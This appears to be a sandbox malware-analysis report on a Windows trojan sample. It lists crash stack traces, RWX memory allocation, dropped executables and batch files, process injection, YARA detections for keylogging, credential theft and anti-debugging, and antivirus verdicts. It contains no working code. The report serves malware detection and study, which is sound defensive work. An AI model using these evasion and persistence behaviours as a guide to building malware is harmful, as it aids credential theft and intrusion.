__exception__ May 23, 2023, 5:08 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:08 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:08 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:08 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:08 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1

Allocates read-write-execute memory (usually to unpack itself) (3 events)

Time & API	Arguments	Status
NtProtectVirtualMemory May 23, 2023, 5:13 p.m.	process_identifier: 2536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72d62000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 23, 2023, 5:13 p.m.	process_identifier: 2692 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72d62000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 23, 2023, 5:14 p.m.	process_identifier: 1452 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000004750000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (3 events)

file	C:\Users\test22\AppData\Local\Temp\RarSFX0\work.exe
file	C:\Users\test22\AppData\Local\Temp\RarSFX1\fesa.exe
file	C:\Users\test22\AppData\Local\Temp\RarSFX0\1.bat

Drops a binary and executes it (2 events)

file	C:\Users\test22\AppData\Local\Temp\RarSFX0\1.bat
file	C:\Users\test22\AppData\Local\Temp\RarSFX0\work.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\RarSFX0\work.exe

The binary likely contains encrypted or compressed data indicative of a packer (1 event)

section

{u'size_of_data': u'0x0000e200', u'virtual_address': u'0x00064000', u'entropy': 6.802173495258792, u'name': u'.rsrc', u'virtual_size': u'0x0000e050'}

entropy

6.80217349526

description

A section with a high entropy has been found

Yara rule detected in process memory (31 events)

description	Create a windows service	rule	Create_Service
description	Communication using DGA	rule	Network_DGA
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communications use DNS	rule	Network_DNS
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Record Audio	rule	Sniff_Audio
description	Steal credential	rule	local_credential_Steal
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Communications over P2P network	rule	Network_P2P_Win
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Escalate priviledges	rule	Escalate_priviledges
description	File Downloader	rule	Network_Downloader
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Communications over FTP	rule	Network_FTP
description	Run a KeyLogger	rule	KeyLogger
description	Take ScreenShot	rule	ScreenShot

Creates an executable file in a user folder (1 event)

file	C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2624 resumed a thread in remote process 2692
NtResumeThread May 23, 2023, 5:13 p.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 2692	1	0	0

File has been identified by 29 AntiVirus engines on VirusTotal as malicious (29 events)

Bkav	W32.AIDetectMalware
Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.Rasftuby.Gen.14
FireEye	Generic.mg.79931719ae9c21e1
ALYac	Trojan.Rasftuby.Gen.14
Malwarebytes	Malware.AI.2493027586
Sangfor	Trojan.Win32.Save.a
Cybereason	malicious.9ae9c2
Arcabit	Trojan.Rasftuby.Gen.14
Cyren	W32/S-e021834d!Eldorado
Cynet	Malicious (score: 100)
APEX	Malicious
ClamAV	Win.Malware.Fugrafa-9938779-0
Kaspersky	UDS:DangerousObject.Multi.Generic
BitDefender	Trojan.Rasftuby.Gen.14
Avast	Win32:Malware-gen
Emsisoft	Trojan.Rasftuby.Gen.14 (B)
VIPRE	Trojan.Rasftuby.Gen.14
McAfee-GW-Edition	BehavesLike.Win32.Generic.vc
Sophos	Generic ML PUA (PUA)
Microsoft	Trojan:Win32/Wacatac.B!ml
ZoneAlarm	UDS:DangerousObject.Multi.Generic
GData	Trojan.Rasftuby.Gen.14
Acronis	suspicious
McAfee	Artemis!79931719AE9C
Cylance	unsafe
MAX	malware (ai score=80)
AVG	Win32:Malware-gen
CrowdStrike	win/malicious_confidence_90% (W)

wdagad.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All